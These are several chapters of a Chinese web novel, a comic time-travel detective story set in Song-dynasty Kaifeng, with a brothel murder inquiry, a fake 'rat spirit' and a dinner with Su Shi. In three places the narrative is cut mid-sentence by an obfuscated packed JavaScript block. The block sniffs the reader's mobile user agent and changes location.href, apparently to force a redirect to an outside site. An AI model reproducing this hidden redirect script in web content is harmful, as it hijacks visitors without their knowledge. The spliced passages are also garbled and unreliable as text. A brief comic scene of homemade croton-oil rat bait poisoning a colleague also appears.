见有客登门,热情的迎着笑脸,要把他们引到内里的空位。
宋连预感他俩只要坐下,银子就得哗哗往外流,问题是他们身无分文。
二人正了正身,低声对茶酒博士说:“开封府办案,叫老板来问话。”
茶酒博士果然变了脸色,没说行也没说不行,把两人晾在那里不管了。
两人等了一会儿,确定自己被无视了,甲丁便往里又走了两步,跳上一张桌子,叉腰大喊道:“管事的出来,有话要问!”
这一嗓子,吸引了正在花天酒地的诸位客人,和热情侍奉的姐儿们。
“他家最近病死的姐儿,有湿疣暗疮,接触就会染病!”甲丁看向宋连,“有郎中在此作证!”
这话一落,刚才还喧嚣热闹的一众人,噤声几秒呼呼啦啦鱼贯而出,恐怕一半的人连酒钱都没结清。
茶酒博士和小厮姐儿们左右阻拦,哪儿能拦得住,大家跟见了瘟疫似的躲避着跑光了。
“是哪个绝门户的泼皮畜牲!敢在我百花楼撒野!”后堂走出一位衣着鲜艳的妇人,看上去十分剽悍,烈焰红唇对着宋连甲丁一通谩骂。
一看就是久经骂场的老手,单口骂了快十分钟,甲丁连一个字都没能插-进去。最后还是宋连亮出了开封府的腰牌,才让这小钢炮停止了战斗。
老板娘虽然不再骂了,但也没把衙卒放在眼里,问就是没听说、不知道。
“那姑娘身上全是你百花楼里的熏香味儿,整条街就你家有这种熏香,还说不认识?!”甲丁把姑娘的衣服往老板娘跟前推了推,被老板娘一巴掌挡开。
“我百花楼每天的恩客没有上千也有上百,人多眼杂,混进来几个外面的姑娘也是常有的事!光凭这个就想栽赃给我?开封府就是这么办案的?!”
他们除了气味,的确没有其他可靠的证据,三两下就被怼的哑口无言。
这时二楼传来关门声,宋连抬头,透过镂空的凭栏看到一席白色的袍摆覆着一双白色靴子,正往楼梯口走来。
31.05 金屋银屋不如我的解剖小屋
01
在甲丁和宋连的目瞪狗呆中,李士卿缓步走下楼梯,来到几人面前。
甲丁:“你……”
李士卿无视了他的存在,对老板娘说:“内有邪祟,不除祟,难祛晦。”
他声音压的很低,刚刚好能让甲丁和宋连听到。
甲丁正要问李士卿怎么回事,被宋连及时制止。于是大家开始装不认识。
老板娘有点慌张,把李士卿拽到一旁角落嘀嘀咕咕,还时不时瞟一眼宋连他们,生怕被听到。
李士卿待老板娘说完,又不慌不忙答话:“邪祟是个女鬼,新死,执念深,困于闺中无法离去,”他假模假式用手挡住嘴巴,说起了大家都听得到的悄悄话:“她不知道自己已死,还按照平日习惯生活在这里,这不,夜色将至,她马上要出来接客啦。”
最后几个字说的鬼里鬼气,老板娘当即吓出一身冷汗。
百花楼闹鬼可还行!这可是比姑娘染病更劝退客人!
“啪!”两锭银子放在李士卿手心,老板娘见李士卿眉头轻微挑动一下,又狐疑地将银子撤回了。
“小郎君,空口无凭,我怎么知道你不是信口雌黄呢?”
小郎君长得实在太好看,老板娘想趁机揩油摸一摸白嫩的小手,被李士卿躲开了。
“女鬼名叫兰香,年方十六,住在天字丙号,”说着李士卿还抬头向那间房子看了眼,露出一抹不知对谁的笑容。
他望向二楼虚空处,又说:“兰香穿淡绿色窄衫披帛,鹅黄-色襦裙,青绿绣花鞋,”略微停了停,向二楼点头,接着说:“她说她最喜欢的一对青石金蝉环玉耳环丢了,恐怕是一个叫梅红的姑娘偷去的。”
身后有茶盏打碎的声音,一个妆容艳丽的姑娘低呼一声,差点没站稳。
“还有一枚白玉莲花簪子,是富户张老爷赏赐的,叫鸢尾姑娘打碎后偷偷扔了,她其实是知道的。”
又一个姑娘面容紧张,发出小声的啜泣,看起来是吓得不轻。
李士卿的表情严肃了下来,侧耳像是在认真听着楼上的什么人对他讲话,时不时皱眉。
“怎、怎么了?她、她又说什么了?!”老板娘也紧张了起来。
“别慌,正说你呢!”
老板娘大惊失色:“说说说我什么?”
“她被殴打成重伤,你明明看见了,却躲得远远的……”
“我没有!你胡说!!”老板娘尖叫起来,头上的流苏配饰震荡得刷啦啦响。
甲丁双手抱臂,悠哉走到老板娘面前:“走一趟吧?”
02
最近傅大人好像很忙,经常神龙见首不见尾,宋连有将近一周没见到他了。这阵倒是十分突然地出现在府衙,活像突然空降检查考勤的教导主任。
看见宋连甲丁李士卿三人再次组团出现,就好像看到了主动走来的KPI,笑得满脸都是褶子,艰苦朴素中多了几分老谋深算。
老板娘不怕衙卒,但畏惧提刑司掌事,加上李士卿说的有模有样,自觉纸里包不住火,傅大人惊堂木刚刚拍下,她就跟着出溜打滑跪了下去。
死去的姑娘的确是叫兰香,但这是百花楼为她取的艺名,她是一年前被人牙子卖给百花楼的。
宋连注意到老板娘提起“人牙子”的时候,甲丁的拳头登时攥紧了。
兰香来时只有十五岁,据说是她家里太穷,养活不起她和弟弟,父母只得卖了女儿。她长得不算惊艳但干净水灵,很耐看。老板娘给她取了“兰”字,让她营销清纯淡雅的人设。
兰香业务能力不错,出台没多久就有了自己固定的恩客,出手也算阔绰,在百花楼消费能力排的进TOP20,因此她也从角楼一路搬到了天字丙号。
“但几个月前,卖掉她的那个人牙子又找到她,不知道他们说了些什么,但那之后兰香就像变了个人似的,整天魂不守舍,恩客也丢了好几个。账主子走了,我损失的可都是真金白银!”
老板娘越说越气,压槽都咬紧了:“这还不算,死丫头竟然想跑!”
兰香试探着问过赎身的事,但她的恩客正上头,一天一个嘉年华,百花楼怎么会轻易放过一个摇钱树。老板娘嘴上说着支持姑娘们自由,但赎金却要出了天价!
这里挨着太学国子监,客人中以学生较多,他们大多是来应考的,少有能为姑娘赎身纳妾的。而那些有钱的富商官老爷们,多也是玩玩而已,出赎金?做梦!
兰香赎身不成,就想到了逃跑。
短短几个月里她跑过两次,第一次跑走没多久就自己回来了。
“外面的生活哪有那么容易!她个风尘女子懂些识字作画又不精,肩不能扛手不能提的,除了出卖身子,还能拿什么吃饭!”
可没想到,没多久她又跑了。这回老板娘动了怒,差人给抓了回来——出了曲院街,她自己也不知道该往何处去,被抓的时候走出去不到三里,在街上茫然徘徊。
“人牙子打她的时候我凑巧看到了,就在距离百花楼不远处的围墙角落,我是想去阻拦的,但那人牙子势力广大,得罪了他们,以后我就难挑到优质的姑娘。再说了,姐儿被打那不是很正常的事儿!又不是第一次了,我想着她回来给她好药伺候着得了,谁知道……就被打死了呢!”
老板娘回忆起来还是一脸的嫌弃,丝毫没有痛失一条人命的遗憾。
这幅嘴脸让宋连十分气愤,但在他作出反应之前,甲丁却先一步冲上去,根本不顾什么男女礼数,一把揪住老板娘的衣领:“你这毒妇!那姑娘被家人抛弃,又被人牙子倒手贩来卖去,已是十分的苦命!她少说也为你赚了些银钱,即便是看在钱的份上,你也不该是这般冷漠无情,见死不救!”
甲丁目眦欲裂,双眼泛红,紧攥的拳头高悬在老板娘门面要打不打。
老板娘万万没有想到衙吏会无故揍她,“啊唷唷”尖叫起来“开封府的衙吏欺压老百姓了!”
宋连上前拉开了甲丁。他不知道甲丁为什么突然这么大反应,猜测那兰香姑娘的身世大概是与他心心相惜了。
但那老板娘似乎不懂什么叫“见好就收”,刚脱离了铁拳就得意地阴阳:“哟~这位爷不会也是兰香的恩客吧!您可别太当真,干我们这行的,最忌讳就是动真心。要没有在姑娘身上挥金如土,哪儿来的真心给你呢!”
甲丁挣脱开宋连又要冲上去揍,被傅濂厉声喝止。
“高堂之上岂能容你们如此放肆!百花楼姑娘尸体还在开封府停放,今日,你若说不清事实原委,就领了板子在大牢里好好回忆!”
老板娘一听要杖刑还要下狱,“嗷”地一嗓子哭嚎了起来,当即腿软瘫倒在地。
03
那人牙子的个人信息和去向老板娘是一问三不知,画出的画像也没什么特点,人牙子向来行踪不定,很多都在城外流窜,寻人如同大海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869641|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捞针。
案子到此只能等待时机和运气,但傅大人似乎并不失落。
“此案多亏了李公子神算,才能进展飞速!公子如何算出那姑娘的姓名和那些琐事的?她的冤魂果真还在那百花楼中?”
宋连看傅濂笑眯眯的样子,知道他心里想的是自己招募了这么厉害的幕僚,钱可算没有白花!
李士卿想了想,说:“天机不可泄露。”
傅大人“啧”了一声,给李士卿递上一只红包:“此案公子助力颇大,这是劳务。”
李士卿掂了掂红包,满意地塞进怀中衣袋。
“她出逃两次,又被活活打死,自然是百花楼其他姐儿的话柄,隔墙听几句便知。至于她的着装……”
傅大人又支楞起了耳朵。
李士卿看向宋连:“你二人向老板娘问话时我就在楼上看着。”
自然是看到了那身衣服的。
傅大人大概在心里把李士卿骂了个遍,但面上保持和蔼,毕竟是自己挑的人,就是个智障也得夸他聪明。
“李公子果然心思缜密!不亏是我提刑司的智囊幕僚啊!”
宋连嘴角抽搐,心想艰苦朴素的傅局一定在为那不值当的红包内心滴血。
04
打更的梆子刚刚敲过,已是夜里11点。
事实证明,天下没有免费的早餐,但有免费的加班。
因为今天迟到了,所以领了两个疑难杂案干到了现在;因为傅濂白给了李士卿一个红包,所以这份损失要从宋连加班费里扣除……
在窝囊和生气之间,宋连再次选择了生窝囊气,并决定今夜不归宿,住在解剖室。
金窝银窝都不如他的解剖小窝。
何况这“解剖室”虽然条件邋遢了些,味道大了些,但也不是完全不能忍。
只有一点宋连有些在意——鼠精传说。
05
相传宋仁宗——虽然现在还没有谥号,但很快就有了[1]——也就是赵祯皇帝御赐包拯副使展昭为“御猫”,侠盗“五鼠”中的“锦毛鼠”白玉堂不服,遂大闹汴京,结果和御猫成了好兄弟,干脆被收编成了开封府四品护卫,却在查办襄阳一案时失踪,从此杳无音讯。
于是渐渐有传言白玉堂当年的确身死冲霄,魂魄化为鼠精回到开封府。
宋连这么唯物主义,肯定不会相信老鼠成精的说法,他只是单纯的讨厌老鼠。但其他同事都笃信开封府有老鼠精,因为目击者不止一个。
他们多在深夜看到或听到鼠精出洞。
“其形巨大似楼阁,通体灰黑,尖嘴獠牙,毛发炸乱,声音低沉迷人心智,遇人以身、形、音恐吓,不欲伤人。”
大耗子精专门吓人但不伤人,为的就是敦促府中官员衙卒早日回家不要加班?听起来还怪善良的嘞!
这传说提醒了宋连,府衙里闹耗子!这个问题就不得不重视起来。
他买了些巴豆油,用“熬去烟”法将其煮沸,与蜂蜜、胡麻、苦参粉和熟面粉混合搓成“香蜜饵丸”——自制了□□。
这药丸味道甜香口感软糯,别说老鼠,大半夜的,方圆十里内的人闻了都忍不住想来两口。
吃倒也能吃,吃完就拉个浑天暗地,吐个神形俱灭!
06
宋连将自制□□散在常去的几处角落,并为即将为此付出生命的鼠鼠们送上悼词:鼠道难,送你上青天!
32.06 硕鼠硕鼠,投案自首
01
打更声近了又远去,已过三更,开封府里十分安静,静到能清楚的听到隔壁州桥夜市热闹的吆喝,对面勾栏瓦舍激昂的小曲儿。
为什么附近的居民都没人投诉扰民的!
宋连在“解剖床”上翻来覆去的打了好几个滚,心想李士卿那大宅子距离夜市明明更近,怎么就没这么吵呢?
数羊数到一千六百二十八只的时候,宋连已经隐约有了睡意,却突然听到陶具打碎的声音,一下子又被惊醒。
破房子隔音很差,这声音乍一听也分辨不出准确的方向,像是头顶某个角落,又像是隔壁屋子,还像门外院里的。
宋连在漆黑中屏气凝神,仔细又听。
不过一会儿,又传来咀嚼吞咽的声音,“嘎巴嘎巴”的。这次听清楚了,确实是从隔壁屋传来的。
宋连在黑暗中咧嘴一笑,是有老鼠在吃他的“香饵蜜丸”,听声音还是一只个头不小的大鼠!
咀嚼声停下,没有传来意想中痛苦的惨叫,反倒是有轻微开门关门的声音。
宋连疑惑,从“解剖床”上坐起,正想出门看看,就看到一个巨大的黑影映照在窗户上。
那影子尖头宽身,类似细窄的三角,浑身长满短毛,毛发微微炸起,像是个超大号的刺猬站立起来,也像是巨型老鼠。
此刻这东西就站在宋连的门外,已经作势要推门而入了!
宋连无处可躲,只好用白单盖住自己,平躺佯装一具尸体。
此法十分不明智,因为如果对方真是一只成精的老鼠,尸体就是它最爱的美味,但现在后悔也来不及了,因为门“吱嘎——”被打开了。
02
屋里本就漆黑一片,又蒙了白布,宋连眼前啥也看不到,只能竖起耳朵听声音。
“咔哒、咔哒”声音逐渐逼近,“咔哒、咔哒”声音来到宋连身边。
黑暗中他能明显感觉到强大的压迫感,来自旁边高大的活物。
那东西在“解剖床”边停了下来,能听到它粗重的呼吸,一下一下,频率很快。
宋连咬着牙等待对方的下一步动作,突然感到手臂隔着白布被那东西戳了一下,接着,腿又被捏住了!
这触感不像是爪子,握力以及抓握方式倒像是个人。
“咕噜噜噜——”声音从那东西腹部传来。
这是……饿了?
不像,因为那东西立刻抽回了手,暗暗倒吸口气,发出“嘶——”的声音。
恐怕是“香蜜饵丸”起作用了!
果然,那东西干呕几下,飞速跑出房间,在门口哇哇大吐了起来。
根本不是什么老鼠成精,分明就是个夜里来偷盗的贼!
宋连得出这个结论之后,便起了要教训不法之徒的正义之心——那些香蜜饵丸对老鼠有致命杀伤力,但如果是个成年男子,肯定不会致命,顶多又拉又吐到脱水。
正想着,那贼已经吐完一波,没有逃走,竟又折返回到屋里。
宋连静静等待,听他脚步声靠近自己时,就这么盖着白布直挺着身子慢慢坐起。
“啊——!!!诈尸了!!!!”
吐虚脱的贼竟然还有力气叫这么大声,紧接着扑通一声跪倒在地上。
别是吓昏过去了吧!宋连扯掉身上的白布,看到一大团黑乎乎的东西正蜷缩身体抖动。
不完全是吓得,这是要拉肚子了。
宋连翻身下床,对着蜷缩一团的人大喝一声:“大胆毛贼!竟敢夜闯开封府!”
那毛贼“咦”了一声,费力抬起头,如此黑夜都掩盖不了他惨白的脸色。
毛贼强忍着肠胃不适,哑着嗓子说道:“宋、宋检法?”
04
甲丁披着一身类似蓑衣的毛毡毯子,毯子上还有个帽兜,带在头上整个人就变成了三角形,投影在窗户上,毛啦呲呲得像只大老鼠。
他又喝了一碗淡盐水,手抖得连碗都快端不住。
新的一轮腹痛到达,他惨白的脸上五官扭曲成了一团,“不行不行不行”着转身又进了茅房。
感谢北宋政府没有宵禁制度,半夜三更夜市灯火喧嚣,还有24小时营业的药铺,宋连叫他们煎了些绿豆甘草汤,再搭配补盐液,拉吐一宿差不多也就过去了。
三更的梆子敲响的时候,甲丁已经不怎么呕吐腹泻了,只是非常的虚弱,还要时不时喝淡盐水补充电解质。
宋连有亿点点抱歉,尽可能做好病患的康复照顾。
“大半夜的你穿成这样在府衙里窜来窜去干什么?”
甲丁抖动着发白的嘴唇,犹豫好半天,才说:“我其实……一直都偷偷住这里……”
“啊……所以他们目击到的老鼠精是你假扮的?”
甲丁点头:“一开始是个偶然,被人撞见了,后来这个传说就流传起来,他们因此不敢晚上留在府衙,反而方便了我,所以我就顺水推舟……”
宋连没再继续问,但甲丁却主动说了。
05
甲丁出生没多久就被卖掉了——也可能是被人贩子偷走了——总之打他能记事起,就一直在流浪,一直被倒卖。
后来他被一个戏班子的班主买下来,才算是真正有了一个稳定的“家”。
班主教他本事,他跟着戏班子在汴京各个勾栏瓦舍杂耍讨生活,日子过得辛苦,但也有着落,
景德四年,宋廷首次设立武臣提刑,之后的数十年里,武提刑都是朝廷极
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877125|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为重要的官职。
它官位不高,但地位重要,最重要的是对文化课要求也没那么高。
自那时起,武提刑就成了甲丁的职业目标。
但他没钱读书,没什么文化,注定无法通过科考晋升。但他在瓦舍茶肆卖艺的时候,听过一些士人聊起,现在买官风气盛行,只要关系打点到位,不需要科考也能走上仕途。
甲丁这些年省吃俭用积攒了一点积蓄,班主也认为甲丁有一身好武艺,适合去做个武提刑,于是拿出自己的积蓄,凑了些颇有分量的银两四处打听买官的门路。
还真让他们打听到了一条路:开封府衙近期要退下一批到年纪的衙吏,空缺出来的位置可以进行招募。
甲丁和班主不懂其中流程,轻信了中介,把银钱全花去打点买官。
人倒是如愿进了府衙当上了衙吏,这才知道衙吏根本没有编制,不需要花钱,至少不需要花那么多!
甲丁心态颇好,虽然吃了亏,但他距离武提刑更进一步,只要努力工作,得到领导赏识,说不定就会被破格提拔!
他在开封府兢兢业业干了两年基层,却在几个月前彻底梦碎。
06
事情的起因是某地武臣窃取公库里的银器首饰被发现了,于是文臣士大夫们借题发挥,认为武臣提刑普遍没有文化,都是法盲,这样的人做官,会给社会安定埋下很多风险。
加上武臣提刑在职责上与另外一些朝廷机构重合,加剧冗官情况。总之一番讨论之后,这个武提刑职位就这么轻飘飘的没了。
甲丁辛辛苦苦积攒的买官费全部打了水漂,他日思夜想的仕途生涯还没开始就宣告结束了。
甲丁看来,像宋连这种文人士大夫,全靠一张破嘴就能决定他人前程,才是真正的“危国危民”,这也是他为什么一开始对宋连抱有鄙夷和敌意的原因。
不过这几个月相处下来,甲丁从一开始只在心里不情不愿地佩服,到现在恨不能每天表八百次真心的敬仰。
要不是被宋连下药……不,即便被宋连下药了,也还是佩服!下药都下的这么游刃有余,厉害!
宋连这下更愧疚了,他未经调查就一味相信自己的判断,差点害甲丁拉毙在茅房。关键人家身世还真么坎坷悲惨!
自己真是太坏了!
想起早上甲丁突然发狂要爆揍老白娘,宋连总算明白了,都是被人牙子贩卖的悲惨之人,甲丁对死去的兰香有了命运的共鸣。
宋连看了看甲丁那张和白队一模一样的脸,觉得老天如此安排必有其原因——尽管他也不知道自己从何时起也开始信老天了。
“甲丁,”宋连十分认真拍了拍甲丁的肩膀,“你一定会成为大宋优秀的提刑官的!”
33.07 请品尝后现代美拉德煎蛋
01
做一天和尚撞一天钟,做一天牛马发一天疯。被迫在单位加班两宿的牛马宋连,终于挨到了下班,拖着疲惫的身躯回到了(李士卿的)家中。
人刚走到前院,就听到来自后院的朗诵声,语调激昂,中气十足。
这是来客人了?
他穿过过堂,看见那张巨大的两壶门扁桌被搬到了后院亭子里,桌上摆满了各种美食。
麻腐鸡皮、香辣滴酥、水晶鲙、莲花辣鸭签、酒炙肚胘、爊肉……还有各色点心:元子、水团、糕、粽子、芥辣瓜……
嗯,是贵客,还是爱吃辣的贵客。
宋连顺眼望过去,满桌珍馐后只坐着两位陌生面孔。
两位乍一看长得很是相像,穿着也很类似,应该是同胞兄弟。
稍微年长的这位,头戴软包幞头,身穿淡青色圆领宽袖澜衫,领口和袖口有藏青色缎面压边。腰间佩戴同色腰佩,显得身材颀长。
他眉疏目朗,目光灼灼,颧骨高耸、两颊清瘦。此人性格开朗,非常健谈,说到高兴时眉飞色舞,一看就是妥妥的e人。
但他旁边那位则刚好相反,表情要严肃一些,两颊略微丰满,眼睛也更圆一点,看起来更加认真谨慎。
e人在高谈阔论时,他只略微点头,自始至终不发一言,典型的i人了。
二人正与李士卿相谈甚欢,没注意到宋连已经走近了凉亭。年长些的感慨:“这一别四五载,竟发生这么多事。”
李士卿端坐对面,竟然表现得十分温文尔雅,腼腆点头,还敬了一杯茶。
年长的又说:“当时你传授与我的那些方法,我时常修习,但道术未有长进,可见天赋不足。”
李士卿又客气上了:“仁兄心怀家国天下,有太多世俗牵挂,能有今日的道行已是了不起,论修心之法,在下自愧不如。”
两人你一句我一句,全是客套话,也分不清是真熟还是假客气。宋连只知道这俩人来头不小,否则李士卿才不会绞尽脑汁商业互吹。
他原本不想打扰李士卿待客,计划从回廊悄悄回房。但肚子十分不争气,看到一桌美食之后就开始闹着要恰饭。
抗议声音震耳欲聋,咕噜噜一响,那三人就停下来,将目光转向了宋连这边。
年长那位看到宋连时便眼前一亮,好像与他认识一样,腾地站起身来,顺道还将一旁的i人也拽了起来:“快看,这就是那位大名鼎鼎的宋检法吧!”
旁边的人被扯着衣袖歪歪斜斜站起身,嘟囔着让对方撒手,忙着整理自己的衣冠。
宋连则十分尴尬,他也拿不准对方说的宋检法是他还是他前身,看样子应当是见过前身的,但那个“大名鼎鼎”听起来说的又不像前身……
他不知怎么应答,只能歪嘴勉强笑着,边笑边琢磨这两人到底什么来头。
02
仓惶的小手无处安放,兴奋的小脸白里透红。想要签名想合照,手都伸到裤腿边才想起来没有手机。
要么说中国人最重视饭桌文化呢,饭桌上是真的有文化啊!
当李士卿向宋连介绍他的好homie苏轼和他的好bro苏辙时,宋连的脑袋都是懵的。
这个伴随着宋连整个九年义务教育的考题现在就活生生站在他面前,怎能忍住来一段“明月几时有,把酒问青天”(王菲版)呢!
但他还没来得及开口,对方却先热情地握住了他激动的小手:“我叫苏轼,这是我弟弟苏辙。李兄跟我说了很多你的传奇事迹,敬仰敬仰,我是摩羯座,你呢?”
???
课本上没说他还搞星座这一套啊!
可惜,宋连这个被现代科学紧紧包裹的二十一世纪大好青年,对星座一窍不通。沉思半晌,答曰:“我属虎,O型血。”
苏轼一愣,随即放声大笑,对李士卿说:“李兄这位朋友,果真有趣极了!”
宋连不知道自己现在在苏轼眼中究竟是个什么形象,什么形象都不要紧,要紧的是抓住机会火前留名!
可惜两手一掏,裤兜空空,没有纸也没有笔,只有一颗失落的心,比裤兜还要空落落。
宋连从未像现在这样想念甲丁(怀里的小本本和笔)。
03
五年前苏老爹带着两个儿子——21岁的苏轼和19岁的苏辙,在宰相张芳平的推荐和鼓励下,走出眉州,走向汴京。
他们一路向东,历时两个多月。半道上遇见了正在游历四方的李士卿。
苏轼早年拜入道家门下,对奇门遁甲之类的道术也十分有兴趣,于是便和李士卿成为了挚交好友。
当时苏家父子三人请李士卿看看他们仕途是否顺畅,李士卿给出的结果是“仕途坎坷”四个字。
可那次汴京之行,苏家父子三人一举名震朝堂。
先是老爹苏洵深受宰执大臣欧阳修的赏识,文章被士大夫争相传阅,文名大盛,一时之间学者竞相模仿苏氏所作的文章。
次年苏轼苏辙双双金榜题名,再次轰动京师。彼时苏家兄弟仕途一片光明坦荡,全然不似李士卿所预言的那样。
可就在两人平步青云时,却传来母亲程夫人离世的消息。父子三人丁忧回乡。
这一守丧就是四年。
服丧完毕,他们拖家带口再次整装出发,游历将近半年重返汴京。
这一回,兄弟俩要备战来年的制科考试,准备再回仕途。
04
苏轼忆往昔的时候,弟弟苏辙则从后厨端上几道热了一遍的菜式。
“来尝尝我的手艺!”苏轼老师说着,就将一堆吃食推向了宋连。
首先登场的是一道叫“插肉面”的主食,肉臊与豆豉搭配,辅以花椒曾香。虽然形态味道略有不同,但宋连大致认得,一千年后这东西叫做“担担面”。
插肉面旁边还有一叠泡菜,腌菜能放,是苏轼兄弟从老家带来的原滋原味。
还有一道甜品,糯米糕切成条块,浇上浓稠的红糖汁——红糖糍粑。
最后则是一道横菜,是在汴京就地取材的鲜鱼,剖洗干净之后放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881297|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入铁盘,加上了苏轼从老家带来的花椒姜蒜等香辛料,现烤了一道“江城烤鱼”。
讲真,穿来这段日子,汴京美食虽然多,但难免想要换换口味。火锅烧烤麻辣烫不知多少次午夜梦回时让宋连口水泪水分不清楚。
面对一桌正宗川菜,宋连极力克制自己那颗狼吞虎咽风卷残云的心,但收效甚微,吃完了碗里的还要惦记锅里的。
05
人心中的成见就像一座大山。
宋连不明白,为什么吃货就一定要会做饭。
做饭不是问题,问题是他不会做。要问他以前最拿手的菜式,就是开水泡方便面。
他想不通,为什么“手起刀落如有神助”就一定能“上得了厅堂下得了厨房”。
但众人实在太热情,推辞不下他只好硬着头皮去厨房,绞尽脑汁决定整俩煎鸡蛋。
五分钟后……厨房传来浓烟和焦糊味儿。
七分钟后,一道色香味弃权的、看不出什么玩意儿的黑乎乎的东西被端上了桌。
宋连在众人惊异的眼神中,竟然能保持面不改色心不跳,指着这盘焦黑之物说:“蛋白质在加热至约60°C以上时,天然结构开始解开,相互缠绕、结合,形成凝固的网状结构,这就是鸡蛋从“透明液体”变成“白色凝固体”的过程。”
“如果加热持续,在热锅油多的情况下,温度升高到160°C以上,蛋白质继续聚合并发生非酶褐变反应,这个过程中蛋白质中的氨基酸和碳水化合物残基会发生美拉德反应,释放出各种香味分子——最初是“香”,但再继续加热,就会焦糊、变苦,甚至产生微量的丙烯酰胺等有害物质。”
“锅中的油若过热,也会发生氧化分解,产生刺激性的气味和自由基,进而参与到鸡蛋表面“焦糊”过程。这种“油焦混合”的情况,会让蛋变得又苦又黏。”
宋连一口气说了一大堆众人根本听不懂的天书,然后深吸一口气,打完收工:“以上,就是我这道菜的全过程科学讲解,谢谢。”
06
场面十分寒凉,宋连在心里给自己添了乌鸦飞过“wua wua wua”的BGM。
“嘶——宋检法不但精通尸解之道,对人生之道也颇有见解啊!”说话的是苏轼。
宋连扯了扯嘴角:“苏老师您就别硬夸了……”
“为官之道,需经烈火煅烧而成,但切不可急于求成。这何尝不是一次生动的‘焦’学!”
宋连:“不是——”
“还有,你们看这菜的成色,显然并非我等阳间之人所能消受。听闻宋检法体内现在还有一位‘鬼大人’,你讲的那些蛋白质、美拉德,凡人听不懂,想必是那位的‘轨(鬼)’道咯!”
呃……
教科书上也没写唐宋八大家之一的大文豪苏轼,是个谐音梗大王啊……
苏轼见宋连不吱声,哈哈大笑起来:“如何?我这见解可还有道理?”
宋连呵呵:“有没有道理不知道,但谐音梗放在我们那可是要扣钱的!”
34.08 将进酒杯莫停,喝完一瓶接一瓶
01
人是吃不到认知以外的饭的。众人为了展现对宋连科学精神的尊重,他亲自操刀的那盘美拉德煎蛋一口没动,怎么端上来的,怎么扔出去的。
大家十分默契的从记忆中删除了这个小小插曲,又回到了饕餮盛宴中来。
苏轼此刻已经豪迈赋诗好几首了,每念一首宋连就心痛一次:别光口头朗诵啊,写下来!统统写下来!最好再给我个TO签,拿回去就是无价之宝啊!
他也只是想想,爱你在心口难开。
酒养神,水养人,不到天亮不回魂。此时的苏轼已喝到了佳境,一边说“好酒莫贪杯”,一边踩箱对瓶吹。还盛情邀请宋连与他对诗。
宋连表示夺舍自己的鬼没什么文化,吟诗作赋样样不会,说出来的都是鬼话连篇非常阴间不适合用来助兴。
但苏轼根本不信这些借口,端了一碗酒跳上石凳先敬了一句王维的:“劝君更尽一杯酒”。
宋连接过碗咕嘟喝下说:“竖着喝完横着走!”
02
李士卿和苏辙当场石化,酒水茶饮一杯接一杯,都是一副“这俩人谁啊我不认识”的样子。而另一边,古诗词魔改大赛正如火如荼。
苏轼:“今朝有酒今朝醉!”
宋连:“早上起床接着睡!”
苏轼:“此句不合平仄,却又朗朗上口,妙哉!妙哉!”
喝一个!
苏轼:“将进酒杯莫停”
宋连:“喝完一瓶接一瓶。”
随一个!
俩人隔着一千年的时光你一句我一句,从唐宋到魏晋,从三国到先秦。苏轼在前面致敬先贤,宋连就在后头坟头蹦迪。
今天是圆满的一天,是振奋的一天,法医宋连,给苏轼倒过茶,给苏辙夹过菜,这种牛B吹到一千年后虽然没什么人信,但自己会很爽。想一次爽一次,天天想天天爽,站在解剖台前想一想,都忍不住要拉着尸体讲一讲。
谁懂啊家人们,和大文豪一起喊麦的快乐你想象不到!
一旁的苏辙内心满满的疑惑:这就是来自地府的力量吗?怎么跟我们想象的不一样呢……乍一听确实阴间,但这阴间中又透出满满的正阳之气……
宋连五音尚在,只是准头不行,一个音唱出来能抖个百转千回,抖音,唱出美好生活。
最后还是忍无可忍的李士卿一把将宋连手中的“麦”——筷子——抢走了:“莫再胡言乱语,闹尽了笑话!”
宋连却卷起袖子跨上凳子,左手握拳怼到嘴前:“谁抢了我的麦克风,没关系我还有我的喉咙!你们文化人会念诗词歌赋,没文化的人只能当当rapper!”
苏轼:“这rua破是何意思?听起来想我的家乡话。”
宋连晕乎乎的脑袋轻轻一歪,伸出手指点着拍子:“滕王高阁临江渚,接着奏乐接着舞,这叫‘押轴韵’;滕王、高阁、临江、渚,这叫‘Flow’;我手指打着鼓点这就叫‘Beat’,组合在一起唱念出来就叫rap。”
苏轼:“哦!那我也试一个?”
宋连笑嘻嘻:“你也试一个!”
苏轼想了想:“老夫聊发少年狂!左牵、黄!右擎、苍!锦帽貂裘、千骑卷平冈!”
宋连:“YoYoYo!”
“宋检法,你这身体里的‘鬼’真当是十分有趣!”这是苏轼今晚第二次这么说了。
宋连摆摆手:“还有更有趣的,FreeStyle。即兴发挥。不过这难不倒你……只能难为我。”
苏轼大手一挥:“莫慌!”
他看了宋连几秒,狡黠一笑,有了:“你这鬼魂来历不明!”
宋连拍子一打,秒接:“你这书生喝酒不行!”
